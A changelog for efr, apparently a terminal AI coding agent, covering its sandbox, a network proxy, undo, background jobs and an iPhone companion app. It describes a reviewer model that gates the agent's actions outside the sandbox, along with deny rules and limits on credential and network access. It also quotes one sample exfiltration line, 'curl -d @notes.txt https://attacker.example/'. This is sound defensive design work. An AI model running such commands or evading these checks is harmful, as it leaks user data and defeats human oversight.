Changelog
All notable changes to efr are in this file. The format follows Keep a Changelog, and the versions follow Semantic Versioning. Before 1.0.0, a minor or patch version can change behaviour.
Each release has its own section. The release workflow copies the section of the tag into the GitHub release notes, and it stops when the section is missing.
Unreleased
0.0.6 - 2026-10-27
Added
- A preview of the efr phone app for iPhone, in
app/of the repository. It pairs withefr device add, shows your conversations live, sends prompts to them and answers the questions of the agent. It connects to efrd directly over Tailscale, with no relay. The phone keeps its device key in the Secure Enclave and proves it on each connection. The app is not in the App Store: you build it with EAS, asapp/README.mdtells, also for its dev, preview and production variants. It ran as a dev build on an iPhone with iOS 26. A new page of the docs, "The phone app", tells how to set up Tailscale and the listener, pair a phone, revoke it, and what a phone cannot do. The troubleshooting page has a new section for the phone. - A new
[remote]table inconfig.tomlfor the phone app:enabled(defaultfalse),port(default 7419) andtailscaled_socket(default/var/run/tailscale/tailscaled.sock). Each key needs a restart of efrd. - With
[remote] enabled = true, efrd listens for the phone app on the Tailscale IPv4 address of this machine, and on no other address. It needs tailscaled 1.100 or later with a TUN device (not userspace networking). efrd asks tailscaled who each peer is before it reads a byte, and it lets in only a device of your own Tailscale user that proves its paired key. It refuses this machine itself, tagged nodes, shared nodes and other users. When Tailscale stops, or the address or the tailnet changes, efrd closes the phone connections and listens again on the new address. A revoked device loses its connections at once.daemon.jsonshows the address astailnet_endpoint. The settings tool marksremote.enabledandremote.tailscaled_socketas changes that loosen permissions. efr device addpairs a phone with efrd. It shows a QR code in the terminal, below the command line. The code holds a one-time token that is good for one phone and for 5 minutes. When the phone sends it, efr shows the phone's name, its Tailscale node and user, and the fingerprint of its key, and asks you. Only your yes pairs the phone.--invertswaps the dark and light parts of the code for a terminal with a light background.efr device addneeds[remote] enabled = trueand Tailscale.efr device listshows the paired devices, also the revoked ones, with when each one was paired and last seen.efr device revoke <id>takes a device's access away for good; the id can be the start of an id, as the list shows it.- A question of the agent now tells a client why the permission mode of the turn asks, in one plain line, such as "cautious asks before any network access." The phone app shows it below the command. The terminal shows the question as before.
- efrd can send a client each change of its lists of conversations as it happens
(
conversations.watch): the title, the status and the count of turns of each conversation, and its delete. The phone app uses it, so a new question or the end of a turn shows in its lists at once. With an older efrd, the app asks again every 10 seconds. - The phone app pairs in one full screen, step after step: the command to run, the scan, the name and the key to compare with the terminal, and the paired machine. Each error has its own screen and one action: an expired code, a code of another machine, Tailscale off, a no in the terminal, an efrd that is too old or too new, and the camera off. When Tailscale was off, the app tries again by itself when you come back to it. When no machine is paired, the app opens on the first step.
- The phone app pairs with more than one machine, and connects to all of them at the same time. Each machine has its own device key. Pair another one from Settings or from the machine menu. Settings lists each paired machine with its connection and its efrd version. The menu of a row copies the node name, pairs the machine again or forgets it. Forget asks first, and after the last machine the app goes back to pairing. Settings also has the Haptics switch and the version of the app.
- The phone app opens on a blank conversation of the machine that you used last. Its
composer shows
~and the mode of a new conversation. Your first message there starts a new conversation on that machine, and the app opens it at once. The menu at the left of the bar picks another machine. - Each screen of the phone app has a native bar, with Settings and New on the right. The title opens the conversations sheet, the one place to switch conversations. On iOS 26 the bar is Liquid Glass, and the system softens the transcript only under the bar. The stack keeps at most 8 conversations, and a conversation that is in the stack opens where it is.
- The conversations sheet of the phone app lists the conversations of every machine: "New conversation" on top, then the ones that wait for an answer, today, this week and older. Each row has a glyph of its status, and its machine and directory under the title. Its search finds a conversation by title, machine or directory, and then asks efrd. Touch and hold a row to copy its title or its id.
- A conversation in the phone app shows your prompts, the replies as they stream, the reasoning, the tools that run, the edits with their diff, and a line at the end of each turn. Tap a reasoning row or a tool block to open it, or "show all N lines" to see the whole output. A failed turn shows its reason, with "retry" and "copy error". Touch and hold a message to copy it, and a code block has its own copy button. The app asks before it opens a link, and then opens it in the app. An image in a reply shows as a link, and HTML shows as text, so a reply cannot make the phone load a URL. The list follows new content only while you are near the end, and it does not move when you open or close a block. A short conversation stays at the bottom. When you are more than one screen from the end, "Jump to latest" takes you back. At the top of a long conversation, the app gets the older turns from efrd and keeps them on the phone. When the machine goes offline, the conversation keeps its transcript and gets the new events when the machine is back. VoiceOver tells you when a question waits and when a reply is done, and a turn that fails while you look at it gives an error haptic.
- The composer of the phone app is a glass pill that floats over the end of the transcript, with a status line at its top. It sends a prompt and stops the running turn. While a turn runs, "Steer now" adds your text to the turn, and "Queue" sends it when the turn ends; touch and hold the capsule to pick one. A queued prompt can be withdrawn. A prompt shows at once, and the app sends it again after a lost connection or after iOS closed the app; efrd runs it only once. The app keeps the draft of each conversation.
- A question of the agent in the phone app shows the command or the diff of the file, the directory and why the mode asks, with Allow and Deny. A question that only your computer can answer says "Answer on" and the name of the machine, with no buttons. A question shows how long it can wait, and "expired while you were away" when its time ran out while the app was closed. When another conversation waits for an answer, a strip under the bar and a dot on the title tell you. A tap on the strip opens that conversation at the question; when two or more wait, it opens the sheet with them on top.
- The phone app connects again at once when the phone changes its network, such as from Wi-Fi to cellular. A glass capsule under the bar tells you when a machine is offline or when Tailscale on the phone is off.
- The phone app has its own icon, "the yolk": an egg with a yolk, and a โฏ in the yolk.
- A dev or preview build of the phone app has a gallery of every screen and state of its design. A long press on the version in Settings opens it. Three demo machines (desktop, laptop and homelab) play efrd inside the app and reach no computer, so you can see each screen without a paired machine.
Changed
- A client that follows a turn live on a slow link no longer loses parts of the streamed text. When efrd cannot send each part at once, it joins the parts and sends them together as soon as the client reads again. The text then grows in larger steps, with no gaps.
- A client that opens a conversation while a turn runs now gets the text that the model has sent so far, and the reasoning of the turn, at once. So the phone app shows a running reply at once.
- A question that only your own computer may answer (a command that runs as another user, a background job, or a delete that full mode guards) now says so to every client. efrd refuses an answer to it from a phone, and it also refuses from a phone an input for a running command, such as a password.
0.0.5 - 2026-10-25
Added
- Each background job now runs in a cgroup of its own when efrd runs as its systemd
unit. The unit now has
Delegate=yes. When you stop a job, efr kills every process of the job, also a process that left the job's session withsetsid.efr jobs listand the model'sjobstool show the memory and the CPU time of each running job. Without a delegated cgroup, a job ends by its session as before, andefr jobs listsays why. Install the new unit, then runsystemctl --user daemon-reloadand restart efrd. - Ctrl+B also moves a command that a call left running in the hidden shell into a
background job, while the command waits for no input: in the turn view while no
call runs, and in
,shell. A command outside the sandbox asks first, as a running call does. The hidden shell is free at once, and the job's notice tells the agent when the command ends. Before, such a command held the hidden shell until it ended. efr conversation delete <id>deletes a conversation and everything that efr keeps of it: its events, its search text, the recordings of its hidden shell, its$SCRATCH, its sandbox dirs, its snapshots and its undo trash. The id can be the start of an id, asefr searchshows it. efr asks first on a terminal, and--yesskips the question. Without a terminal, efr deletes only with--yes.- Before a delete, efrd stops the background jobs of the conversation and closes its
hidden shell. When another open terminal holds the conversation, or a turn runs in
it, efr asks again.
--forcedeletes in both cases with no question. efr never stops an undo that runs. If efrd stops during a delete, you never see half a conversation: the conversation goes from every list and search at the first step, and the next start of efrd removes the rest. - Ctrl+D in the
,resumepicker deletes the selected conversation after a question on one line. Then the picker opens again with its query.
Changed
- efrd now deletes old recordings of the hidden shells' terminals. Once an hour, it
deletes the recording of a shell that exited more than 14 days ago
(
recording.max_age_days), and, while all recordings take more than 2 GiB (recording.max_gib), the oldest parts first. It always keeps the newest part, and at least the last 1 MiB, of a shell that still runs. 0 turns a limit off. Before, efrd kept every recording forever, so the data directory grew without a limit. A client that resumes from output that was deleted gets a screen snapshot, or for an exited shell, only what is left. - Some very long or deeply nested shell lines now get a stricter decision. Before,
each of these lines could make efrd use all its time and memory, or stop efrd with
all its conversations:
- A line with many relative
cds is judged as aftercd -: a relative path may be anywhere below/, so efr runs the line in the sandbox or asks you. This occurs when the rest of the line may run in more than 1024 directories, that is, after more than tencds into subdirectories in a row. - efr reads a command substitution inside another one down to 64 levels. A line that nests deeper holds code that efr does not read: only you approve it outside the sandbox, and full mode asks you before it runs.
- An
askordenyrule for a program reads at most 16 forms of that program in one command, such as eachgitafterenv. A command with more, such asenv git git git ..., matches the rule, so efr asks you or refuses it. Before, 10,000gitwords took about 1 second for each rule.
- A line with many relative
- An
askordenyrule forsystemctl,cargo,dockerorkubectlnow skips the program's own options before the subcommand, as a rule forgitdoes. So a rule forsystemctl restartalso asks forsystemctl --user restart nginx, a rule forcargo publishforcargo +nightly publish, a rule fordocker pushfordocker -H ssh://prod push app, and a rule forkubectl deleteforkubectl -n prod delete pod web. An option that efr does not know counts both with and without a value, so the rule asks rather than misses.cargo --configwith a file or an alias, andkubectl --kuberc, can rename a subcommand, so the rule matches every command with one of them. Anallowrule still compares the words right after the program. - The diff of an approval preview and of a finished write now shows only the changed hunks. Before, two small changes far apart in a large file showed as the whole file removed and added again, and the added and removed counts were wrong.
- In a long block that is still open (from 4 KB, such as a large table or a long list item), the last line shows when it is complete, not letter by letter. A line of code shows at once.
- Long conversations are faster and use less memory. The request that the model gets
does not change, so the prompt cache of your provider still works:
- After a compaction with a summary, a prompt reaches the model sooner, because a turn no longer reads or rebuilds the earlier turns that the summary covers. In a conversation of 2,000 turns, the time from the prompt to the model request went from about 44 ms to about 21 ms.
- A prompt starts with less work and less memory. efrd no longer reads the earlier turns again from the database and the event log for each prompt, and a tool output in memory no longer uses up to two times its size. After a restart of efrd or 10 idle minutes, only the first prompt reads the earlier turns. In a test of 20 conversations of 50 turns, efrd allocates about one third less memory for each turn.
- In
auto, a shell call with background jobs no longer reads every turn of the conversation to find when the previous turn started. - A terminal that attaches to a conversation with long answers shows it sooner. With answers of 500 KB, this took about 340 ms. Now it takes about 20 ms.
- With the OpenAI WebSocket transport, each connection keeps about 40 bytes for each item of the history. Before, it kept a copy of all of the history of its last call, which is several MB in a long conversation. A call also starts sooner.
efr diff --stat --allreads the history in pages of 500 events, and it keeps only the ends of the turns that changed files and the undos. For 20,000 events, its peak memory went from about 28 MiB to about 12 MiB. When the history has more than 1,000 pages, a dim line now says that efr adds up only the turns of the newest 1,000. Before, efr left out the older turns and did not say so.
- efrd gives memory back after an idle period. When a conversation was idle for 10 minutes, efrd no longer keeps its messages in memory, and the next prompt reads them from the store. Then, when no turn ran for 30 seconds, efrd tells glibc to give its free heap back to the system, at most one time in 5 minutes. In a test of 20 conversations of 50 turns, efrd then used about 60 MiB, about one third of its peak. Before, efrd kept the messages of each conversation that ran a turn since it started, so its memory grew with use, and it kept about 90% of its peak.
- Calls in large projects and in your home directory are faster. Undo, the undo
trash and the list of what undo does not cover do not change:
- The snapshots before and after a call in a project of 20,000 files took about 54 ms. Now they take about 18 ms, because git checks the files on more than one thread.
- After a command writes many files again, the next calls are fast again. With 5,000 files of 10 KB, each later call took about 210 ms. Now it takes about 6 ms.
- The end of a turn whose snapshots leave out many paths, such as thousands of ignored files, took about 20 seconds for 20,000 paths. Now it takes less than a tenth of a second.
- A call that can write in a large directory outside your projects took more than 12 seconds to start and end for 20,000 files. Now it takes less than a second.
- A call that changes thousands of home files ends faster. A cache delete of 20,000 files took about 7 seconds. Now it takes about 1 second.
- Each turn in a git repository starts one git process fewer, so a prompt in a
repository outside your projects also gets its answer sooner.
efr undostarts one git process for each file that it writes back, not two. Inauto, while background jobs run in the project, a command starts faster, because efr runs git only for a git config that changed since the last check.
- A command that prints much output uses less CPU. efr reads the output of the hidden shell in chunks of up to 64 KiB, so it hands on 3 to 10 times fewer chunks. A prompt still shows as soon as the shell prints it. With the ghostty screen, the result of a command whose output moves the cursor, such as a build with a status line, is ready sooner, because efr reads only the 1,000 newest rows of each screen. The text of the result does not change.
- Replies and question cards draw faster:
- A long reply streams with less CPU. Before, each draft of the model copied all of the reply before it, and a reply of 1 MB used about 1 second of CPU.
- A very long code block renders in a time that grows only with its length. Before,
100,000 lines in a
textblock took about 4 s. Now they take less than 0.1 s. - A question card shows a long command fast. Before, a command line of 100 KB took up to 2 seconds on a terminal that counts by grapheme cluster.
- While a question waits for your answer, efr draws its card again only when the card or the width of the terminal changes, not at each tick of the status row. A card with a diff used about 1 ms of CPU for each tick.
- The input row under a running turn draws a long paste in about half the time.
Fixed
- A long shell line no longer stalls efrd before the call starts. The decision and its
questions do not change:
- efr checked each path of the line against each other path, so an
rmof a few thousand files took about 9 seconds before it ran. Now it takes a fraction of a second. A long line behind a wrapper such asenvortimeunder youraskrules no longer uses gigabytes of memory. - A line with many
cds took about 11 s for 10,000cds inauto, and about 41 s for 2,000cds in full mode. Now 10,000cds take about 10 ms inautoand 15 ms in full mode. A line of 10cds starts after about 20 ms, not 90 ms. - In
auto, the decision for anrmof 6,400 files outside your projects took up to about 2.8 seconds and 540 MB of memory. Now it takes about 50 ms and 10 MB.
- efr checked each path of the line against each other path, so an
- A long code block in a list item or a quote streams at the same speed at line 1,000 as at line 30. Before, efr fell behind the reply at a few hundred lines. Parts of the text then came late in one jump.
- A followed turn now shows every event after a long gap. When efr subscribed again
after it fell behind or after a new connection, or when a prompt waited behind many
events, and more than 128 events or 1 MiB came in the gap, efrd sent only the newest
events, and the older ones never showed. efr now reads them with
conversation.historyand shows each event once and in order, also an event over 1 MiB. - When the newest event of a conversation is larger than 1 MiB, the snapshot at the
start of
conversation.subscribenow has a history cursor. Before, the snapshot had no events and no cursor, so a client could not find that event and the events before it. - On a very narrow terminal, a wide character that did not fit in a row of a question card showed two times. Now it shows one time.
- A
!in a project's name now shows as typed in$efr_scopeandefr_prompt_infowhen your zsh hasprompt_bangset. Before, the prompt showed the history number in its place. Withprompt_bangset, both now write each!as!!.
Security
- efr now uses tokio 1.53.3. This version fixes the advisory RUSTSEC-2026-0386 of
tokio 1.53.2 (
AsyncFdand I/O safety). EachAsyncFdof efr owns its descriptor, so efr was not open to the fault. - efr now uses ctutils 0.4.5 in the keyring build. This version fixes the advisory RUSTSEC-2026-0385 of ctutils 0.4.2.
- In
auto, only you approve an ssh control socket, never the reviewer. A control socket is a logged-in session, and it, not the host on the line, decides where a command runs. This applies to a line withssh -S,ssh -M,ssh -O, an-oofControlPath,ControlMasterorControlPersist(also forscp,sftp,sshfsandrsync -e), and to a socket grant of a socket that an ssh process listens on or that aControlPathof your ssh config names. Before, the reviewer could approve such a line when a message of yours named its host. - An
askordenyrule withundernow applies after acdin the line, unless efr can prove that the command runs outside the rule's directory. Before, the rule matched nothing after anycd, socd sub && git pushran without the question or the refusal of adeny git pushrule for~/work. Now efr reads where eachcdgoes: a target that is absolute or below~counts, together with the directory before it, because acdcan fail. After a relativecd,cd -,popdor acdto a variable, the directory is unknown and the rule applies. Anallowrule withunderstill matches only before the firstcd. time cd /xnow counts as a change of directory. zsh runs it in the shell, so before, a rule withunderjudged the commands after it by the old directory.- An
askordenycommand rule now also applies to a line that efr cannot split into simple commands, such asgit push $(git branch --show-current)orcd "$DIR" && git push. efr reads each command that it finds in the line, the commands of a substitution too. Before, only a rule for every command line judged such a line, so in full mode it ran with no question although a rule of yours deniedgit push. - The numbered list of
,resumewithout fzf now shows each title with its secrets replaced by[***], as the picker andefr searchshow it. Before, the list showed the raw title of the first prompt, with a key that the prompt held.
0.0.4 - 2026-10-23
Added
- In
auto, a reviewer model now decides most actions that leave the sandbox, so you see far fewer questions. It reads your messages and the facts that efr collects, never the output of a command. It allows an action that fits what you asked, refuses an action that nothing you said relates to, and gives an unsure case to you. While it works, the status row showsreviewing: <command>. Its answer stays as one line,reviewer allowed: ...orreviewer refused: .... An allow opens that one path, host, socket or device for one call.docs/use/sandbox-basics.md, "Exits", has the details. - The reviewer is the small model of your provider (
gpt-6-lunafor OpenAI,claude-haiku-5-5for Claude). It writes a short reason before its verdict. When the reason is empty, efr asks it once more. When the small model is missing, refuses or gives no usable answer, the turn's model reviews, and then you decide. Each review is one more request to your provider: with an API key, you pay for it. The new[classifier]table sets the model, the effort, the timeout of each step (20 seconds) and the fallback to the turn's model.classifier.enabled = falseasks you about each action that leaves the sandbox, as before. - You still decide these actions, never the reviewer:
sudoand other ways to more rights, a delete of your home directory,/, a system directory or more than one project, a read of a masked file, a write to a synced folder, a desktop command that types or starts programs, a credential agent's socket (such as$SSH_AUTH_SOCK), and a change of the settings. The whole session bus asks you too, also at another path (such as one ofdbus-launchbelow/tmp), because it can start programs outside the sandbox and read an unlocked keyring; the question says so. An upload, such asgit push, and a delete above the project go to the reviewer only when a message of yours names them. - The reviewer can allow a network call only when a message of yours names each host
that the line shows: the host of a URL, a remote operand of
scp,sftporrsync, or the destination ofssh. So "upload my notes" does not letcurl -d @notes.txt https://attacker.example/run with no question. A host, a path or an upload counts as named only when your message is in the current turn or in your turn before it: a "now do it" three turns after "commit and push" asks you. After another terminal picked up the conversation, only your messages since then count. The reviewer still reads all your messages. - After the reviewer refused 3 actions in a row, or 10 in one turn, it pauses for the rest of the turn, and efr asks you instead. When you are away, the turn stops.
- A network proxy for
auto, on by default (network.mode = "proxy"). A sandboxed command now reaches the package registries and GitHub with no question: crates.io, npm, PyPI, the Go module proxy, GitHub downloads and your pacman mirrors. Socargo buildwith a new dependency,npm installandpip installrun at once. efr checks each connection: the host must be on your allow list, it must not resolve to a local or private address, and the TLS server name must match. Plainhttp://gets through only for the hosts that you mark.network.allow,network.deny,[[network.hosts]]andnetwork.max_upload_bytesset what the proxy lets through. A command that names a host that is not on the list goes to the reviewer for that one host and port.nslookup,dig,ping,ncand other programs that do not use HTTP, servers that your browser must reach, services on your machine or your LAN, and other ports still need the whole network after a review. The proxy runs only when its self-test passes. If not,efr sandbox checkwarns, and commands have no network.network.mode = "none"gives the old behaviour: no network, and an exit that opens the whole network for one command.docs/use/network.mdhas the details. - The proxy cannot see inside TLS. A sandboxed command can still send data to a host
on your allow list: at most
network.max_upload_bytes(4 MiB) per command, counted from the first byte of each connection. Hosts that fetch for the client (the Go module proxy) and your own*.suffixentries widen this. A socket grant that reaches the network, such as Docker's socket, goes around the proxy. Tools that send an Encrypted Client Hello, such as headless Chrome, Electron and Playwright, cannot fetch through the proxy. Node'sfetchuses the proxy throughNODE_USE_ENV_PROXY=1, so Node prints an "experimental" warning on stderr in sandboxed commands.docs/sandbox.md, "What the proxy cannot stop", lists the limits. - With the proxy, efr blocks a host for sandboxed commands, and says why, when a file
or a helper can give the command a token for that host. This covers a password or a
token for the host in your git config (also
~/.gitconfigand its includes, also for a command outside a project) or in the project's.npmrc,.yarnrc.yml,.yarnrc,bunfig.tomlor.cargo/config.toml. It also covers a git credential helper that can hand out a token: a!command, or a helper that efr does not know (notlibsecret,store,cacheormanager), such asoauthorpass-git-helper. The note names the helper. A helper for one site blocks only that site. A helper for every site blocks the hosts of the repository's remotes. Agh auth git-credentialhelper blocks no host while the sandbox hides gh's token, sogit cloneandgit fetchfrom GitHub work in the sandbox. Move a token to a file that the sandbox hides, such as~/.npmrc. A socket grant to git's credential cache asks only you.efr sandbox checkwarns about eachsandbox.env_keepentry that looks like a secret, because the proxy lets it reach the allowed hosts. - A command that the proxy refused shows
network: blocked <host:port> (<reason>), and the model reads why. A host on the deny list, or a host that efr blocks for a token, showsdenied for this command, and the model reads that no host grant helps. A background job lists its refusals in the line of its end, in the view, inefr historyand inefr jobs stop. The reviewer sees the hosts that the proxy refused in the last command and in the jobs, but only as a fact, never as your request. A denied host is not one of them. efr undotakes back the newest turn of this terminal's conversation. It shows what it will do (restore, trash, delete, ref) and asksundo? y = yes, n = no. It restores the files that the turn's commands changed in the project, in$SCRATCH, in the other projects that the turn wrote and outside the projects, and the branches that the turn moved. It also removes the empty directories that the turn made outside the project, such as a*.wantsdirectory. A file that changed after the turn stays, and the preview lists it;--forceoverwrites it. When only--forceacts on the rows of the preview,efr undowithout it changes nothing and fails with that hint. A change that you made during the turn between two commands stays.--redotakes back the undo.--list,--turnand--dry-runhelp you pick. Without a terminal,efr undoneeds--yes.docs/use/undo-and-diff.mdhas the details.efr undokeeps your git index as it is. Every file that undo overwrites or removes goes to~/.local/share/efr/undo-trash/first, and a directory that undo makes again gets mode 0700. An undo that stops at a write that fails saysundo stopped: ..., and the nextefr undofinishes it. An undo that can write nothing leaves the turn as it is. The preview of amanualorcautiousturn says that writes outside the project are not covered.- After a stop of efrd, or for a call that you interrupted or that ran past its
timeout,
efr undo --forcetakes back the changes of the turn's calls, also those ofwrite_file,editandapply_patch. Such a turn saysnot covered: <project> (a call did not finish)or<path> (the call did not finish). efr undorefuses while a background job of the conversation runs, or while a job of another conversation can write in the same project, and names the job:job j3 runs; stop it first (efr jobs stop j3). A job outside the sandbox can write everywhere, so it blocks every undo. When a job ends, its file changes join the turn that started it, and the undo of that turn needs--force. A file that a later turn changed in the meantime stays with that turn. When the job notice turn of a job's end changed nothing,efr undowith no--turnpasses over it and takes back the job's turn. Snapshots leave$SCRATCH/jobsout.- Undo also covers files outside the project in
auto. Before efr writes a file outside the project and$SCRATCH, such as~/.zshrcor~/Documents/notes.md, or deletes a cache, it copies the file into its snapshot store. A file that did not exist before goes to the undo trash. A directory with more thansnapshot.home_max_filesfiles (2000) orsnapshot.home_max_mibMiB (256) gets no copy, and the end of the turn says so. For a directory that holds a git repository, such as~/noteswith~/notes/.git, efr copies the files but not the.git, and the end of the turn says that undo does not cover~/notes/.git. - At the end of an
autoturn, one line says what changed and that you can take it back:changed 4 files (+12 -3) in <project> and 2 in ~; efr undo reverts this turn. A turn that only moved refs saysmoved 1 ref in <project>; efr undo reverts this turn. A file inside the project, such as.env, belongs to the project's snapshot, also when the sandbox hides it. Files that undo cannot bring back, such as a large ignored file, show on a linenot covered: .... The lines come also when the turn failed or you interrupted it.efr historyshows the same lines; for a turn that undo cannot take back, it shows the line of the changed files, such as3 files changed, +24 -7.efr historyshows each undo as one line, and--verboseadds each snapshot. - New keys for undo:
undo.enabled,snapshot.mirror_max_mib,snapshot.home_max_filesandsnapshot.home_max_mib. - When a command in
autodeletes files in a tool cache, such as~/.cacheor~/.cargo, the reviewer decides whether efr deletes them in your real cache too. So "free some disk space" frees real space. efr never deletes below~/.cargo/bin, a cargo config or a credentials file. The call shows the freed size. - Background jobs. The model can start a long command, such as a dev server, a watcher
or a slow build, as a job with
background: true. The call answers at once with the job's id and its output file. Inauto, the job runs in the same sandbox as a normal command. Incautiousandmanual, efr asks you before each job starts, and the job runs as an approved command does. A job runs at low CPU and disk priority, with no terminal. efr writes its output to$SCRATCH/jobs/<id>.out: the first 1 MiB and the last 8 MiB. A job ends when its command ends, when you or the model stop it, after its time limit (60 minutes unless the model asks for more, at mostjobs.max_minutes), or when efrd stops. After a restart, efrd ends each job that still ran. Esc and the end of a turn do not stop a job. The model reads and stops its jobs with the toolsjobsandjob_stop.docs/use/jobs.mdhas the details. - New keys for background jobs:
jobs.enabled,jobs.default_minutes,jobs.max_minutes,jobs.max_running,jobs.max_running_daemon,jobs.max_wakes_per_hour,jobs.max_wakes_per_hour_daemon,jobs.max_wakes_per_watch,jobs.niceandjobs.forward_ports. - efr refuses a background job whose line asks for sudo, reads a masked file such as
.env, types into your desktop, uses the D-Bus bus (except the read-only queries of the bus filter), a container engine or a service manager socket, runsnmclioriwctl, or changes a file that runs code later, such as~/.zshrc. This holds in every mode, also after you answer yes. The model must run such a part in the foreground. Outsideauto, an approved job runs with your rights, so a program that it starts can still do these things; only a setuid program cannot give it more rights. Inauto, a delete that undo covers still goes to the reviewer when it runs as a job. - A question about a background job says how long the job and what a yes opens last:
runs as a job for up to 60 minutes; these grants stay open until it ends. Only your own terminal answers it, never a phone. What the reviewer allows also stays open for the whole job, so it judges the job's command for its whole time limit. In a turn that a job notice started, it allows only what an earlier message of yours asks for. - When a background job ends, efr tells the model with a job notice. A notice is never
your input: it never answers a question and never counts as your permission. When
the conversation is idle, the notice starts a short turn, marked
(job notice, not your input), in every mode, at mostjobs.max_wakes_per_hourtimes per hour in the conversation andjobs.max_wakes_per_hour_daemontimes in all. Such a turn runs at most 20 tool calls, and a job that it starts never starts another one. It runs in the mode of your newest prompt, at mostauto, so outsideautoits commands ask you as usual. A question in such a turn waits only the away wait unless you follow the conversation, and its card has(job notice turn)in the title. Awatchpattern can also wake the model on a matching output line. The notice of a job that the model stopped, or that efrd stopped because full mode went off, starts no turn. A notice over the limits rides in your next prompt. - While efr follows a turn, the view shows a line when a job starts, such as
job j3 started; output $SCRATCH/jobs/j3.out; ends in 60 minutes, and when a job of the conversation ends, such asjob j3 ended with exit 3 after 1 minute; 2.0 KB output. The line also says when processes of the job may still run, and why a job notice did not start a turn. A call that starts a job shows(background). A turn that a job notice started shows๐ค (job notice, not your input), in the view and inefr history.efr history --verboseadds the last lines of a job's output and the text of each notice. - In a terminal that does not follow the conversation, the next prompt shows one line
when a job ends, such as
efr: job j3 ended (exit 0): <title>, or when its notice waits for your next prompt. The line also names a lost launcher and the processes of the job that may still run. After a job notice turn, the line names the jobs and the first line of the answer. After a restart, efrd writes a line for each job that it ended. A notice from before your terminal opened does not show. efr jobs(orefr jobs list) lists the jobs of this terminal's conversation, newest first: the id, the state, when it ends or ended, the size of its output, its ports and its command.--alllists the jobs of every conversation with its title, and--conversationnames another one.efr jobs stop <id>stops a job and shows how it ended and the last 10 lines of its output. An unknown job exits 1. efr removes the output file of a job 7 days after the job ended, and keeps at most the 20 newest outputs of ended jobs per conversation.- In the input row of a followed turn, Ctrl+X stops the newest running job of the
conversation. It asks first:
stop job j3 (npm run dev),yyes,nno. With no running job, it saysno job runs. Esc still stops only the turn, never a job. - Ctrl+B in the turn view moves the agent's running shell call to the background as a
job, whatever the input row holds. A call in the sandbox moves at once and keeps its
sandbox. A call that runs outside the sandbox asks one
y/nquestion first, because the command keeps running with your rights after the turn. The turn goes on at once. The model reads the output so far and the job's id, and a job notice follows when the command ends. The next call gets a new hidden shell in the same directory.efr jobsshows when a moved command waits for input that nobody can type. In tmux, press Ctrl+B twice. A command that waits for input, that can ask at the terminal (such assudo), or that efr does not allow as a job cannot move, and neither can a call that holds the sandbox's cache.docs/use/jobs.md, "Move a running command to the background", has the details. - In
auto, a loopback port that a contained background job listens on is reachable on the same port of127.0.0.1on your machine, so your browser opens a dev server that the model started. The view showsjob j1 listens on 127.0.0.1:8765 -> http://localhost:8765, andefr jobslists the ports. efr forwards TCP ports from 1024 up. It never forwards a port that is in use on your machine, port 3128 of a proxy job, or a well-known service port, such as 5432, 6379 or 1455 ofefr login. Only your own user's programs can connect. The forward ends with the job. A foreground call and a moved call get no forward.jobs.forward_ports = falseturns it off. - The model learns whether efr forwards each port of its jobs. Before its next step,
also in the same turn, it reads a note from efr: the URL of a forwarded port, or the
reason why efr does not forward a port, with the advice to choose another port. So
the model does not give you a URL that opens another server. The
jobstool shows the outcome of each port. - In
auto, a contained command reaches the forwarded ports of its conversation's jobs at127.0.0.1andlocalhostwith no question, so the agent can check the dev server that it started. A line that names a port of a job that efr does not forward, such as a port that a program of yours uses, does not run: the whole network would reach your program, not the job. efr asks you nothing and tells the agent why, such asefr: port 8767 of job j1 is not forwarded: 127.0.0.1:8767 is in use on this machine. .... When the job started less than 3 seconds ago, efr first waits for the outcome of the port. A port of no job still asks.docs/use/jobs.md, "Open a dev server in your browser", has the rules. - While a job runs in the sandbox, efr checks the git settings and hooks of its
projects every 5 minutes and before each sandboxed command there. This includes the
submodules at any depth, the git dir that a
.gitfile names, and the include files and thecore.hooksPathdir that their config names. When the job planted a hook or a git setting that runs code, efr moves it to the quarantine and stops the job. After a restart, efr checks a job that the last efrd left running. Before a git or upload line runs outside the sandbox, efr checks every running job in the sandbox. - To give a job your shell's environment, the hidden shell writes its exported
variables to an
envfile (0600) in efr's runtime dir at each prompt where they changed. It also writes its functions, aliases and options for the sandbox at such a prompt, not only before a command inauto. A job outside the sandbox, and any command outside the sandbox, keeps the variables that place efr's own dirs (EFR_HOME,EFR_RUNTIME_DIRand the others), so anefrin it reaches the efrd that runs it. - Full mode, a fourth permission mode: commands run as you, with no sandbox and no
questions. Turn it on by hand with
permissions.allow_full = trueinconfig.toml(orefr config set). Then choose it with,mode fullin a terminal,efr send --mode fullfor one prompt, orpermissions.mode = "full"as the default. efr still reads each command line. It denies secrets, its own config and its own dirs. It asks beforesudo, before a process that outlives the turn, before a delete of~,/, a system dir or a project, before a delete that undo cannot revert, and before a line that reads or writes a whole dir with a secret or efr's config below it (du ~). Only your own machine answers thesudoand delete questions, and a delete question waits 2 minutes. efr takes its snapshot before each call and copies a file outside the project first when the line names it, soefr undoreverts the project and the files that efr saw. efr does not read a script or a program that a line starts: it can do what you can, also answer efr's questions. Full mode gives no protection against prompt injection or a mistake in a script.docs/use/modes.md, "full", anddocs/permissions.md, "Full mode", have the details. - Full mode never runs in a turn from a phone, in a turn that a job notice starts, in
an efrd that runs as root or has
undo.enabledorsnapshot.enabledset to false, or with a hidden shell that is no zsh. A steer from a phone never goes into a running full turn. When efrd cannot run full mode, a turn that names no mode runs asautoand records why, and a prompt that names full mode fails with the reason. When you turn full mode off while a full turn runs, its next call does not run and the turn stops. efrd also stops each background job that a full call started (stopped: full mode was turned off), with no job notice turn. ,mode fullandefr settings --mode fullask efrd first. Whenconfig.tomldoes not allow full mode, or efrd cannot run it, they fail with the reason, and the terminal keeps its old mode. If not, three lines say what full mode does, what efr still reads and asks, and that a script or a program that a line starts is not read. The zsh plugin ignoresEFR_MODE=fullfrom the environment when it loads, and says so on one line: use,mode full. Any otherEFR_MODEstill gives the terminal's first mode.- The settings tool refuses to change
permissions.allow_fulland refuses to setpermissions.mode = "full".permissions.mode = "full"inconfig.tomlneedspermissions.allow_full = true. Without it, efrd does not load the file, and the error says to set the key or anotherpermissions.mode. Whenconfig.tomlmakes full mode the default, efrd writes a warning to its log at the start and at the reload that makes it so. - A full turn shows
